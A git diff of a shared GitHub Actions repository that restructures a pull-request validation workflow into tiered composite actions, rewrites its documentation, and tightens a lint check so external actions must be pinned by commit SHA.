- script: | - const body = context.payload.pull_request.body || ''; - const minLength = ${{ inputs.min_description_length }}; - - if (body.length < minLength) { - core.setFailed(`PR description is too short (${body.length} chars). Please provide a detailed description (minimum ${minLength} chars).`); - } - - - name: Check for required sections - uses: actions/github-script@v8 - with: - github-token: ${{ secrets.MANAGE_TOKEN || secrets.GITHUB_TOKEN }} - script: | - const body = context.payload.pull_request.body || ''; - const requiredSections = ['Description', 'Type of Change']; - const missingSections = []; - - for (const section of requiredSections) { - if (!body.includes(section)) { - missingSections.push(section); - } - } - - if (missingSections.length > 0) { - core.warning(`PR description is missing recommended sections: ${missingSections.join(', ')}`); - } - - pr-labels: - name: Auto-label PR - runs-on: ${{ inputs.runner_type }} - needs: skip-if-draft - if: needs.skip-if-draft.outputs.should_skip != 'true' && inputs.enable_auto_labeler + needs: [blocking-checks] + if: always() && needs.blocking-checks.result == 'success' && github.event.pull_request.draft != true + outputs: + metadata-result: ${{ steps.collect.outputs.metadata }} + size-result: ${{ steps.collect.outputs.size }} + label-result: ${{ steps.collect.outputs.label }} steps: - name: Checkout code - uses: actions/checkout@v6 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6 with: fetch-depth: 0 - - name: Auto-label based on files - uses: actions/labeler@v6 + - name: Check PR metadata + id: metadata + continue-on-error: true + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-metadata@v1.20.0-beta.1 with: - repo-token: ${{ secrets.GITHUB_TOKEN }} - configuration-path: ${{ inputs.labeler_config_path }} - sync-labels: true - - pr-assignee: - name: Check Assignee - runs-on: ${{ inputs.runner_type }} - needs: skip-if-draft - if: needs.skip-if-draft.outputs.should_skip != 'true' + github-token: ${{ secrets.MANAGE_TOKEN || github.token }} + dry-run: ${{ inputs.dry_run && 'true' || 'false' }} - steps: - - name: Check for assignee - uses: actions/github-script@v8 - with: - github-token: ${{ secrets.MANAGE_TOKEN || secrets.GITHUB_TOKEN }} - script: | - const pr = context.payload.pull_request; - if (pr.assignees.length === 0) { - core.warning('This PR has no assignees. Consider assigning someone to review.'); - } - - pr-linked-issues: - name: Check Linked Issues - runs-on: ${{ inputs.runner_type }} - needs: skip-if-draft - if: needs.skip-if-draft.outputs.should_skip != 'true' - - steps: - - name: Check for linked issues - uses: actions/github-script@v8 + - name: Check PR size + id: size + continue-on-error: true + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-size@v1.20.0-beta.1 with: - github-token: ${{ secrets.MANAGE_TOKEN || secrets.GITHUB_TOKEN }} - script: | - const body = context.payload.pull_request.body || ''; - const issueKeywords = ['closes', 'fixes', 'resolves', 'relates to']; - - let hasLinkedIssue = false; - for (const keyword of issueKeywords) { - if (body.toLowerCase().includes(keyword)) { - hasLinkedIssue = true; - break; - } - } - - if (!hasLinkedIssue) { - core.warning('This PR does not appear to be linked to any issues. Consider linking related issues using keywords like "Closes #123" or "Fixes #456".'); - } - - pr-changelog: - name: Check Changelog Update - runs-on: ${{ inputs.runner_type }} - needs: skip-if-draft - if: needs.skip-if-draft.outputs.should_skip != 'true' && inputs.check_changelog - - steps: - - name: Checkout code - uses: actions/checkout@v6 + github-token: ${{ secrets.MANAGE_TOKEN || github.token }} + base-ref: ${{ github.base_ref }} + dry-run: ${{ inputs.dry_run && 'true' || 'false' }} + + - name: Auto-label PR + id: labels + if: inputs.enable_auto_labeler && !inputs.dry_run + continue-on-error: true + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-labels@v1.20.0-beta.1 with: - fetch-depth: 0 + github-token: ${{ secrets.MANAGE_TOKEN || github.token }} + config-path: ${{ inputs.labeler_config_path }} - - name: Check if CHANGELOG updated - id: changelog + - name: Collect results + id: collect run: | - if git diff --name-only origin/${{ github.base_ref }}...HEAD | grep -q "CHANGELOG.md"; then - echo "updated=true" >> $GITHUB_OUTPUT - else - echo "updated=false" >> $GITHUB_OUTPUT - fi - - - name: Comment if CHANGELOG not updated - if: steps.changelog.outputs.updated == 'false' - uses: actions/github-script@v8 - with: - github-token: ${{ secrets.MANAGE_TOKEN || secrets.GITHUB_TOKEN }} - script: | - const labels = context.payload.pull_request.labels.map(l => l.name); - - // Skip for certain labels - if (labels.includes('skip-changelog') || labels.includes('dependencies')) { - return; - } - - github.rest.issues.createComment({ - owner: context.repo.owner, - repo: context.repo.repo, - issue_number: context.issue.number, - body: 'Consider updating CHANGELOG.md to document this change. If this change doesn\'t need a changelog entry, add the `skip-changelog` label.' - }); + { + echo "metadata=${{ steps.metadata.outcome }}" + echo "size=${{ steps.size.outcome }}" + echo "label=${{ steps.labels.outcome || 'skipped' }}" + } >> "$GITHUB_OUTPUT" + # ----------------- PR Checks Summary ----------------- pr-checks-summary: name: PR Checks Summary runs-on: ${{ inputs.runner_type }} - needs: [pr-source-branch, pr-title, pr-size, pr-description, pr-labels, pr-assignee, pr-linked-issues, pr-changelog] + needs: [blocking-checks, advisory-checks] if: always() steps: - - name: Summary - uses: actions/github-script@v8 + - name: PR Checks Summary + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-checks-summary@v1.20.0-beta.1 with: - github-token: ${{ secrets.MANAGE_TOKEN || secrets.GITHUB_TOKEN }} - script: | - const checks = { - 'Source Branch': '${{ needs.pr-source-branch.result }}', - 'PR Title': '${{ needs.pr-title.result }}', - 'PR Size': '${{ needs.pr-size.result }}', - 'PR Description': '${{ needs.pr-description.result }}', - 'Auto-label': '${{ needs.pr-labels.result }}', - 'Assignee Check': '${{ needs.pr-assignee.result }}', - 'Linked Issues': '${{ needs.pr-linked-issues.result }}', - 'Changelog': '${{ needs.pr-changelog.result }}' - }; - - let summary = '## PR Checks Summary\n\n'; - for (const [check, result] of Object.entries(checks)) { - const icon = result === 'success' ? '✅' : result === 'failure' ? '❌' : '⚠️'; - summary += `${icon} ${check}: ${result}\n`; - } - - core.summary.addRaw(summary); - await core.summary.write(); - - # Slack notification + source-branch-result: ${{ needs.blocking-checks.outputs.source-branch-result || 'skipped' }} + title-result: ${{ needs.blocking-checks.outputs.title-result || 'skipped' }} + description-result: ${{ needs.blocking-checks.outputs.description-result || 'skipped' }} + size-result: ${{ needs.advisory-checks.outputs.size-result || 'skipped' }} + label-result: ${{ needs.advisory-checks.outputs.label-result || 'skipped' }} + metadata-result: ${{ needs.advisory-checks.outputs.metadata-result || 'skipped' }} + dry-run: ${{ inputs.dry_run && 'true' || 'false' }} + + # ----------------- Slack Notification ----------------- notify: name: Notify - needs: [skip-if-draft, pr-source-branch, pr-title, pr-size, pr-description, pr-labels, pr-assignee, pr-linked-issues, pr-changelog, pr-checks-summary] - if: always() && needs.skip-if-draft.outputs.should_skip != 'true' - uses: ./.github/workflows/slack-notify.yml + needs: [blocking-checks, advisory-checks, pr-checks-summary] + if: always() && github.event.pull_request.draft != true && !inputs.dry_run + uses: LerianStudio/github-actions-shared-workflows/.github/workflows/slack-notify.yml@v1.20.0-beta.1 with: - status: ${{ (needs.pr-source-branch.result == 'failure' || needs.pr-title.result == 'failure' || needs.pr-description.result == 'failure') && 'failure' || 'success' }} + status: ${{ (needs.blocking-checks.outputs.source-branch-result == 'failure' || needs.blocking-checks.outputs.title-result == 'failure' || needs.blocking-checks.outputs.description-result == 'failure') && 'failure' || 'success' }} workflow_name: "PR Validation" - failed_jobs: ${{ needs.pr-source-branch.result == 'failure' && 'Source Branch, ' || '' }}${{ needs.pr-title.result == 'failure' && 'PR Title, ' || '' }}${{ needs.pr-description.result == 'failure' && 'PR Description' || '' }} + failed_jobs: ${{ needs.blocking-checks.outputs.source-branch-result == 'failure' && 'Source Branch, ' || '' }}${{ needs.blocking-checks.outputs.title-result == 'failure' && 'PR Title, ' || '' }}${{ needs.blocking-checks.outputs.description-result == 'failure' && 'PR Description' || '' }} secrets: SLACK_WEBHOOK_URL: ${{ secrets.SLACK_WEBHOOK_URL }} diff --git a/.github/workflows/self-pr-validation.yml b/.github/workflows/self-pr-validation.yml index f7ff2e48..f7d0759b 100644 --- a/.github/workflows/self-pr-validation.yml +++ b/.github/workflows/self-pr-validation.yml @@ -26,7 +26,6 @@ jobs: checks: read uses: ./.github/workflows/pr-validation.yml with: - check_changelog: false enforce_source_branches: true allowed_source_branches: "develop|hotfix/*" target_branches_for_source_check: "main" diff --git a/AGENTS.md b/AGENTS.md index f28d7149..935ebd36 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -156,6 +156,14 @@ Before modifying any existing file, follow the refactoring protocol in `.cursor/ ## Security rules +- **Third-party actions (outside `LerianStudio` org) must be pinned by commit SHA**, not by tag — tags are mutable and can be force-pushed by upstream maintainers. Add a `# vX.Y.Z` comment for readability. Dependabot keeps SHA pins updated automatically. + ```yaml + uses: actions/checkout@abc123def456 # v6 # ✅ third-party pinned by SHA + uses: crazy-max/ghaction-import-gpg@2dc316d # v7 # ✅ third-party pinned by SHA + uses: LerianStudio/github-actions-shared-workflows/src/notify/discord-release@v1.2.3 # ✅ org-owned pinned by tag + ``` +- `LerianStudio/*` actions use release tags (`@v1.2.3`) or branches (`@develop` for testing) — no SHA pinning needed for org-owned actions +- Never use `@main` or `@master` for third-party actions - Never hardcode tokens, org names, or internal URLs — use `inputs` or `secrets` - Never print secrets via `echo`, `run` output, or step summaries - Vulnerability reports go through private channels only — see [`SECURITY.md`](SECURITY.md) diff --git a/docs/pr-validation-workflow.md b/docs/pr-validation-workflow.md deleted file mode 100644 index 988503bf..00000000 --- a/docs/pr-validation-workflow.md +++ /dev/null @@ -1,368 +0,0 @@ -# PR Validation Workflow - -Comprehensive pull request validation workflow that enforces best practices, coding standards, and project conventions. Automatically checks PR title format, size, description quality, and ensures proper documentation. - -## Features - -- **Semantic PR titles** - Enforces conventional commits format -- **PR size tracking** - Automatic labeling (XS, S, M, L, XL) -- **Description quality** - Minimum length and required sections -- **Auto-labeling** - Based on changed files -- **Assignee checks** - Warns if no reviewer assigned -- **Issue linking** - Encourages linking to related issues -- **Changelog tracking** - Reminds to update CHANGELOG.md -- **Draft PR support** - Skips validations for draft PRs -- **Summary report** - Aggregated validation status -- **Source branch validation** - Enforce PRs to protected branches come from specific source branches - -## Usage - -### Basic Usage - -```yaml -name: PR Validation - -on: - pull_request: - branches: [develop, release-candidate, main] - types: [opened, synchronize, reopened, ready_for_review] - -permissions: - contents: read - pull-requests: write - issues: write - -jobs: - validate: - uses: LerianStudio/github-actions-shared-workflows/.github/workflows/pr-validation.yml@v1.0.0 -``` - -### Custom Configuration - -```yaml -name: PR Validation - -on: - pull_request: - branches: [develop, release-candidate, main] - types: [opened, synchronize, reopened, ready_for_review] - -permissions: - contents: read - pull-requests: write - issues: write - -jobs: - validate: - uses: LerianStudio/github-actions-shared-workflows/.github/workflows/pr-validation.yml@v1.0.0 - with: - pr_title_types: | - feat - fix - docs - refactor - test - chore - pr_title_scopes: | - api - cli - auth - config - require_scope: true - min_description_length: 100 - check_changelog: true - enable_auto_labeler: true - secrets: inherit -``` - -### With Custom Scopes - -```yaml -jobs: - validate: - uses: LerianStudio/github-actions-shared-workflows/.github/workflows/pr-validation.yml@v1.0.0 - with: - pr_title_scopes: | - auth - ledger - config - client - kubectl - output - cli - deps - ci - release - require_scope: false -``` - -## Inputs - -| Input | Type | Default | Description | -|-------|------|---------|-------------| -| `runner_type` | string | `firmino-lxc-runners` | GitHub runner type | -| `pr_title_types` | string | (see below) | Allowed commit types (pipe-separated) | -| `pr_title_scopes` | string | `''` | Allowed scopes (pipe-separated, empty = any) | -| `require_scope` | boolean | `false` | Require scope in PR title | -| `min_description_length` | number | `50` | Minimum PR description length | -| `check_changelog` | boolean | `true` | Check if CHANGELOG.md is updated | -| `enable_auto_labeler` | boolean | `true` | Enable automatic labeling | -| `labeler_config_path` | string | `.github/labeler.yml` | Path to labeler config | -| `enforce_source_branches` | boolean | `false` | Enforce PRs to protected branches come from specific source branches | -| `allowed_source_branches` | string | `develop\|release-candidate\|hotfix/*` | Allowed source branches (pipe-separated, supports `*` wildcard) | -| `target_branches_for_source_check` | string | `main` | Target branches that require source branch validation | - -### Default PR Title Types - -``` -feat -fix -docs -style -refactor -perf -test -chore -ci -build -revert -``` - -## Secrets - -### Optional - -| Secret | Description | -|--------|-------------| -| `github_token` | GitHub token for API operations (labeling, commenting, etc.). Defaults to `GITHUB_TOKEN` if not provided. Required for all PR validation actions including posting comments, adding labels, and updating PR status. | - -## Jobs - -### skip-if-draft -Determines if PR is draft and sets flag to skip other jobs. - -### pr-source-branch -Validates that PRs to protected branches (e.g., `main`) come from allowed source branches. Supports: -- Exact branch names: `develop`, `release-candidate` -- Prefix patterns: `hotfix/*` matches `hotfix/fix-login` - -### pr-title -Validates PR title follows semantic commit format. - -### pr-size -Calculates PR size and adds automatic size label (XS, S, M, L, XL). - -### pr-description -Checks description length and recommended sections. - -### pr-labels -Automatically adds labels based on changed files (requires labeler config). - -### pr-assignee -Warns if no assignees are set on the PR. - -### pr-linked-issues -Warns if PR doesn't link to any issues. - -### pr-changelog -Checks if CHANGELOG.md was updated and comments if not. - -### pr-checks-summary -Aggregates all check results into a summary report. - -## PR Title Format - -The workflow enforces semantic commit format: - -``` -[optional scope]: -``` - -**Examples:** -- `feat: add user authentication` -- `fix(api): resolve timeout issue` -- `docs: update installation guide` -- `refactor(cli): simplify command structure` - -**Invalid:** -- `Add feature` (missing type) -- `feat: Add feature` (capital letter in description) -- `feat add feature` (missing colon) - -## PR Size Labels - -Automatically added based on lines changed: - -| Lines Changed | Label | -|---------------|-------| -| < 50 | `size/XS` | -| 50-199 | `size/S` | -| 200-499 | `size/M` | -| 500-999 | `size/L` | -| ≥ 1000 | `size/XL` | - -Large PRs (XL) receive a comment suggesting to break into smaller PRs. - -## Auto-labeling - -Requires a `.github/labeler.yml` configuration file in your repository: - -```yaml -# Example labeler.yml -auth: - - changed-files: - - any-glob-to-any-file: 'internal/auth/**/*' - - any-glob-to-any-file: 'pkg/auth/**/*' - -api: - - changed-files: - - any-glob-to-any-file: 'api/**/*' - -documentation: - - changed-files: - - any-glob-to-any-file: 'docs/**/*' - - any-glob-to-any-file: '**/*.md' - -tests: - - changed-files: - - any-glob-to-any-file: '**/*_test.go' -``` - -## Draft PR Behavior - -When a PR is in draft mode: -- All validation checks are skipped -- No comments or labels are added -- Checks run automatically when PR is marked ready for review - -## Changelog Checking - -The workflow checks if `CHANGELOG.md` was updated. To skip the check: -- Add `skip-changelog` label -- Add `dependencies` label (auto-added by Dependabot) - -## Required Sections - -The workflow recommends including these sections in PR description: -- **Description** - What changes were made -- **Type of Change** - Feature, bug fix, etc. - -## Linked Issues - -Encourages linking PRs to issues using keywords: -- `Closes #123` -- `Fixes #456` -- `Resolves #789` -- `Relates to #101` - -## Example Configurations - -### Minimal (Defaults) - -```yaml -jobs: - validate: - uses: LerianStudio/github-actions-shared-workflows/.github/workflows/pr-validation.yml@v1.0.0 -``` - -### Strict Validation - -```yaml -jobs: - validate: - uses: LerianStudio/github-actions-shared-workflows/.github/workflows/pr-validation.yml@v1.0.0 - with: - require_scope: true - min_description_length: 100 - check_changelog: true -``` - -### Without Auto-labeling - -```yaml -jobs: - validate: - uses: LerianStudio/github-actions-shared-workflows/.github/workflows/pr-validation.yml@v1.0.0 - with: - enable_auto_labeler: false -``` - -### With Source Branch Validation - -Enforce that PRs to `main` only come from `develop`, `release-candidate`, or `hotfix/*` branches: - -```yaml -jobs: - validate: - uses: LerianStudio/github-actions-shared-workflows/.github/workflows/pr-validation.yml@v1.0.0 - with: - enforce_source_branches: true - allowed_source_branches: 'develop|release-candidate|hotfix/*' - target_branches_for_source_check: 'main' - secrets: inherit -``` - -### Custom Types Only - -```yaml -jobs: - validate: - uses: LerianStudio/github-actions-shared-workflows/.github/workflows/pr-validation.yml@v1.0.0 - with: - pr_title_types: | - feature - bugfix - hotfix -``` - -## Troubleshooting - -### PR Title Validation Fails - -**Issue**: PR title doesn't match expected format - -**Solution**: Ensure title follows `type(scope): description` format: -- Type must be from allowed list -- Description must start with lowercase -- Colon and space are required - -### Auto-labeling Not Working - -**Issue**: Labels not added automatically - -**Solution**: -1. Ensure `.github/labeler.yml` exists -2. Check file paths in labeler config match changed files -3. Verify `enable_auto_labeler` is `true` - -### Changelog Check Too Strict - -**Issue**: Always reminded to update CHANGELOG - -**Solution**: Add `skip-changelog` label to PR or include `dependencies` in labels - -### Size Label Not Updated - -**Issue**: Size label doesn't reflect current PR size - -**Solution**: Close and reopen PR, or make a new commit to trigger workflow - -## Best Practices - -1. Use semantic commit format consistently across all PRs -2. Keep PRs small (< 500 lines) for easier review -3. Always link PRs to related issues -4. Update CHANGELOG.md for user-facing changes -5. Add detailed PR descriptions (minimum 50 characters) -6. Assign reviewers before requesting review - -## Related Workflows - -- [Go CI](./go-ci-workflow.md) - Continuous integration testing -- [Go Security](./go-security-workflow.md) - Security scanning -- [PR Security Scan](./pr-security-scan-workflow.md) - Security scanning for PRs - ---- - -**Last Updated:** 2025-12-09 -**Version:** 1.1.0 diff --git a/docs/pr-validation.md b/docs/pr-validation.md new file mode 100644 index 00000000..ad8ea474 --- /dev/null +++ b/docs/pr-validation.md @@ -0,0 +1,204 @@ + + + + + +
Lerian

pr-validation

+ +Comprehensive pull request validation workflow that enforces best practices, coding standards, and project conventions. Automatically checks PR title format, size, description quality, and ensures proper documentation. + +## Features + +- **Semantic PR titles** — Enforces conventional commits format +- **PR size tracking** — Automatic labeling (XS, S, M, L, XL) +- **Description quality** — Minimum length and required sections +- **Auto-labeling** — Based on changed files +- **Auto-assign** — Assigns PR author when no assignee is set (skips bots) +- **Draft PR support** — Skips validations for draft PRs +- **Source branch validation** — Enforce PRs to protected branches come from specific source branches +- **Dry run mode** — Preview validations without posting comments or labels +- **Summary report** — Aggregated validation status + +## Architecture + +Uses a **2-tier fail-fast model** to minimize runner cost and provide fast feedback: + +``` +pr-validation.yml (reusable workflow) + + Tier 1 — blocking-checks (no checkout, ~5s) + ├── src/validate/pr-source-branch (source branch check) + ├── src/validate/pr-title (semantic title check) + └── src/validate/pr-description (description quality) + ↓ (only continues if all pass) + Tier 2 — advisory-checks (shared checkout) + ├── src/validate/pr-metadata (assignee + linked issues) + ├── src/validate/pr-size (size calculation + labeling) + └── src/validate/pr-labels (auto-label by files) + ↓ + Summary — pr-checks-summary (always runs) + ↓ + Notify — slack-notify.yml (optional) +``` + +**Cost optimization:** 4 runners instead of 9, 1 checkout instead of 3. + +## Usage + +### Basic Usage + +```yaml +name: PR Validation + +on: + pull_request: + branches: [develop, release-candidate, main] + types: [opened, synchronize, reopened, ready_for_review] + +permissions: + contents: read + pull-requests: write + issues: write + +jobs: + validate: + uses: LerianStudio/github-actions-shared-workflows/.github/workflows/pr-validation.yml@v1.2.3 + secrets: inherit +``` + +### Custom Configuration + +```yaml +jobs: + validate: + uses: LerianStudio/github-actions-shared-workflows/.github/workflows/pr-validation.yml@v1.2.3 + with: + pr_title_types: | + feat + fix + docs + refactor + test + chore + require_scope: true + min_description_length: 100 + enable_auto_labeler: true + secrets: inherit +``` + +### With Source Branch Validation + +```yaml +jobs: + validate: + uses: LerianStudio/github-actions-shared-workflows/.github/workflows/pr-validation.yml@v1.2.3 + with: + enforce_source_branches: true + allowed_source_branches: 'develop|release-candidate|hotfix/*' + target_branches_for_source_check: 'main' + secrets: inherit +``` + +### Dry Run (preview without side effects) + +```yaml +jobs: + validate: + uses: LerianStudio/github-actions-shared-workflows/.github/workflows/pr-validation.yml@v1.2.3 + with: + dry_run: true + secrets: inherit +``` + +## Inputs + +| Input | Type | Default | Description | +|-------|------|---------|-------------| +| `runner_type` | string | `blacksmith-4vcpu-ubuntu-2404` | GitHub runner type | +| `dry_run` | boolean | `false` | Preview validations without posting comments or labels | +| `pr_title_types` | string | (see below) | Allowed commit types (newline-separated) | +| `pr_title_scopes` | string | `''` | Allowed scopes (newline-separated, empty = any) | +| `require_scope` | boolean | `false` | Require scope in PR title | +| `min_description_length` | number | `50` | Minimum PR description length | +| `enable_auto_labeler` | boolean | `true` | Enable automatic labeling | +| `labeler_config_path` | string | `.github/labeler.yml` | Path to labeler config | +| `enforce_source_branches` | boolean | `true` | Enforce source branch rules (auto-skips when target is not in `target_branches_for_source_check`) | +| `allowed_source_branches` | string | `develop\|release-candidate\|hotfix/*` | Allowed source branches (pipe-separated, supports `*` wildcard) | +| `target_branches_for_source_check` | string | `main` | Target branches that require source branch validation | + +### Default PR Title Types + +``` +feat fix docs style refactor perf test chore ci build revert +``` + +## Secrets + +| Secret | Required | Description | +|--------|----------|-------------| +| `MANAGE_TOKEN` | No | GitHub token with elevated permissions for labeling, commenting, and reviews. Falls back to `github.token`. | +| `SLACK_WEBHOOK_URL` | No | Slack webhook URL for notifications. Skipped if not provided. | + +## Jobs + +| Job | Tier | Composites | Condition | +|-----|------|------------|-----------| +| `blocking-checks` | 1 (fail-fast) | `pr-source-branch`, `pr-title`, `pr-description` | non-draft | +| `advisory-checks` | 2 (informational) | `pr-metadata`, `pr-size`, `pr-labels` | non-draft, blocking-checks passed | +| `pr-checks-summary` | — | `pr-checks-summary` | always | +| `notify` | — | `slack-notify.yml` | non-draft, `!dry_run` | + +### Blocking checks (Tier 1) +- Run without checkout (lightweight, ~5 seconds) +- All three run even if one fails (`continue-on-error` per step) +- Job fails if **any** blocking check fails, preventing advisory checks from running + +### Advisory checks (Tier 2) +- Share a single `checkout` with `fetch-depth: 0` +- Only run if all blocking checks passed +- Never block merge — informational only + +## Dry Run Behavior + +When `dry_run: true`: +- Title, description, and metadata validations still run (read-only checks) +- Size is calculated and logged but **labels are not applied** +- Source branch is validated but **REQUEST_CHANGES review is not posted** +- Auto-labeling is **skipped entirely** +- Slack notification is **skipped** +- Summary report includes a DRY RUN banner + +## Draft PR Behavior + +When a PR is in draft mode, all validation jobs are skipped. Checks run automatically when the PR is marked ready for review. + +## PR Size Labels + +| Lines Changed | Label | +|---------------|-------| +| < 50 | `size/XS` | +| 50–199 | `size/S` | +| 200–499 | `size/M` | +| 500–999 | `size/L` | +| >= 1000 | `size/XL` | + +## PR Title Format + +``` +[optional scope]: +``` + +- `feat: add user authentication` +- `fix(api): resolve timeout issue` +- `docs: update installation guide` + +## Related Workflows + +- [Go CI](./go-ci.md) — Continuous integration testing +- [Go Security](./go-security.md) — Security scanning +- [PR Security Scan](./pr-security-scan.md) — Security scanning for PRs + +--- + +**Last Updated:** 2026-03-25 +**Version:** 3.0.0 diff --git a/docs/slack-notify-workflow.md b/docs/slack-notify-workflow.md index fdc85e68..c03b1d5d 100644 --- a/docs/slack-notify-workflow.md +++ b/docs/slack-notify-workflow.md @@ -169,7 +169,7 @@ The slack-notify workflow is automatically integrated into: - [Build Workflow](build-workflow.md) - [Release Workflow](release-workflow.md) - [Go PR Analysis](go-pr-analysis-workflow.md) -- [PR Validation](pr-validation-workflow.md) +- [PR Validation](pr-validation.md) - [PR Security Scan](pr-security-scan-workflow.md) ## Best Practices diff --git a/src/lint/pinned-actions/action.yml b/src/lint/pinned-actions/action.yml index 1d11075b..b95030b8 100644 --- a/src/lint/pinned-actions/action.yml +++ b/src/lint/pinned-actions/action.yml @@ -1,5 +1,5 @@ name: Pinned Actions Check -description: Ensure external action references use final release versions (vX or vX.Y.Z); internal actions may use pre-releases with a warning. +description: Ensure external actions are pinned by commit SHA; internal actions (LerianStudio) accept any semver tag. inputs: files: @@ -7,7 +7,7 @@ inputs: required: false default: "" warn-patterns: - description: Pipe-separated org/owner prefixes to warn instead of fail (e.g. internal orgs not yet on a release tag) + description: Pipe-separated org/owner prefixes to treat as internal (warn instead of fail) required: false default: "LerianStudio/" @@ -57,28 +57,28 @@ runs: done if [ "$is_internal" = true ]; then - # Internal: final releases (vX, vX.Y.Z) pass silently; pre-releases (beta, rc) warn - if printf '%s\n' "$ref" | grep -Eq '^v[0-9]+$|^v[0-9]+\.[0-9]+\.[0-9]+$'; then + # Internal: any semver ref passes — vX, vX.Y.Z, vX.Y.Z-beta.N, vX.Y.Z-rc.N, branches like develop/main + if printf '%s\n' "$ref" | grep -Eq '^v[0-9]+(\.[0-9]+\.[0-9]+(-[a-zA-Z0-9.]+)?)?$|^(develop|main)$'; then continue fi - echo "::warning file=${file},line=${line_num}::Internal action not pinned to a final release version: $normalized" + echo "::warning file=${file},line=${line_num}::Internal action not pinned to a version: $normalized" warnings=$((warnings + 1)) else - # External: only final releases allowed — vX or vX.Y.Z (no beta, no rc) - if printf '%s\n' "$ref" | grep -Eq '^v[0-9]+$|^v[0-9]+\.[0-9]+\.[0-9]+$'; then + # External: must be a commit SHA (40 or 64 hex chars) + if printf '%s\n' "$ref" | grep -Eiq '^[0-9a-f]{40,64}$'; then continue fi - echo "::error file=${file},line=${line_num}::Unpinned action found: $normalized" + echo "::error file=${file},line=${line_num}::External action not pinned by SHA: $normalized (use full commit SHA with a # vX.Y.Z comment)" violations=$((violations + 1)) fi done < <(grep -nE '^[[:space:]]*(-[[:space:]]*)?uses:[[:space:]].*@' "$file" 2>/dev/null || true) done if [ "$warnings" -gt 0 ]; then - echo "::warning::Found $warnings internal action(s) not pinned to a release version. Consider pinning to vX.Y.Z." + echo "::warning::Found $warnings internal action(s) not pinned to a version. Consider pinning to vX.Y.Z." fi if [ "$violations" -gt 0 ]; then - echo "::error::Found $violations unpinned external action(s). Pin to a final release version (vX or vX.Y.Z)." + echo "::error::Found $violations external action(s) not pinned by commit SHA. Pin using the full SHA with a version comment (e.g., @abc123 # v6)." exit 1 fi - echo "All external actions are properly pinned." + echo "All actions are properly pinned." diff --git a/src/notify/pr-lint-reporter/action.yml b/src/notify/pr-lint-reporter/action.yml index afd81104..a2a215e0 100644 --- a/src/notify/pr-lint-reporter/action.yml +++ b/src/notify/pr-lint-reporter/action.yml @@ -74,7 +74,7 @@ runs: using: composite steps: - name: Post lint report to PR - uses: actions/github-script@v8 + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 with: github-token: ${{ inputs.github-token }} script: | @@ -155,36 +155,42 @@ runs: body += `| ${c.label} | ${filesSummary(c)} | ${icon(c.result)} ${c.result} |\n`; } - // ── Failures collapse with annotations ── + // ── Fetch annotations for failures and warnings ── const failed = checks.filter(c => c.result === 'failure'); - if (failed.length > 0) { - const { data: { jobs } } = await github.rest.actions.listJobsForWorkflowRun({ - owner: context.repo.owner, - repo: context.repo.repo, - run_id: context.runId, - }); - - const jobAnnotations = {}; - for (const job of jobs) { - if (!failed.find(c => c.jobName === job.name)) continue; - try { - const annotations = await github.paginate(github.rest.checks.listAnnotations, { - owner: context.repo.owner, - repo: context.repo.repo, - check_run_id: job.id, - per_page: 100, - }); - jobAnnotations[job.name] = annotations.filter(a => a.annotation_level === 'failure'); - } catch (e) { - core.warning(`Could not fetch annotations for ${job.name}: ${e.message}`); - } + const needsAnnotations = checks.filter(c => c.result === 'failure' || c.result === 'success'); + + const { data: { jobs } } = await github.rest.actions.listJobsForWorkflowRun({ + owner: context.repo.owner, + repo: context.repo.repo, + run_id: context.runId, + }); + + const jobFailureAnnotations = {}; + const jobWarningAnnotations = {}; + for (const job of jobs) { + const check = needsAnnotations.find(c => c.jobName === job.name); + if (!check) continue; + try { + const annotations = await github.paginate(github.rest.checks.listAnnotations, { + owner: context.repo.owner, + repo: context.repo.repo, + check_run_id: job.id, + per_page: 100, + }); + jobFailureAnnotations[job.name] = annotations.filter(a => a.annotation_level === 'failure'); + jobWarningAnnotations[job.name] = annotations.filter(a => a.annotation_level === 'warning'); + } catch (e) { + core.warning(`Could not fetch annotations for ${job.name}: ${e.message}`); } + } + // ── Failures collapse ── + if (failed.length > 0) { const runUrl = `${context.serverUrl}/${context.repo.owner}/${context.repo.repo}/actions/runs/${context.runId}`; body += `\n
\n❌ Failures (${failed.length})\n\n`; for (const c of failed) { - const annotations = jobAnnotations[c.jobName] || []; + const annotations = jobFailureAnnotations[c.jobName] || []; body += `### ${c.label}\n\n`; if (annotations.length === 0) { @@ -192,7 +198,6 @@ runs: continue; } - // Group by file path const byFile = {}; for (const a of annotations) { const key = a.path || '__general__'; @@ -216,6 +221,39 @@ runs: body += '
\n\n'; } + // ── Warnings collapse ── + const checksWithWarnings = checks.filter(c => (jobWarningAnnotations[c.jobName] || []).length > 0); + if (checksWithWarnings.length > 0) { + const totalWarnings = checksWithWarnings.reduce((sum, c) => sum + (jobWarningAnnotations[c.jobName] || []).length, 0); + body += `
\n⚠️ Warnings (${totalWarnings})\n\n`; + + for (const c of checksWithWarnings) { + const annotations = jobWarningAnnotations[c.jobName] || []; + body += `### ${c.label}\n\n`; + + const byFile = {}; + for (const a of annotations) { + const key = a.path || '__general__'; + (byFile[key] = byFile[key] || []).push(a); + } + + for (const [file, warns] of Object.entries(byFile)) { + if (file === '__general__') { + for (const w of warns) body += `- ${w.message}\n`; + } else { + body += `**\`${file}\`**\n`; + for (const w of warns) { + const loc = w.start_line ? ` (line ${w.start_line})` : ''; + body += `- \`${file}${loc}\` — ${w.message}\n`; + } + } + body += '\n'; + } + } + + body += '
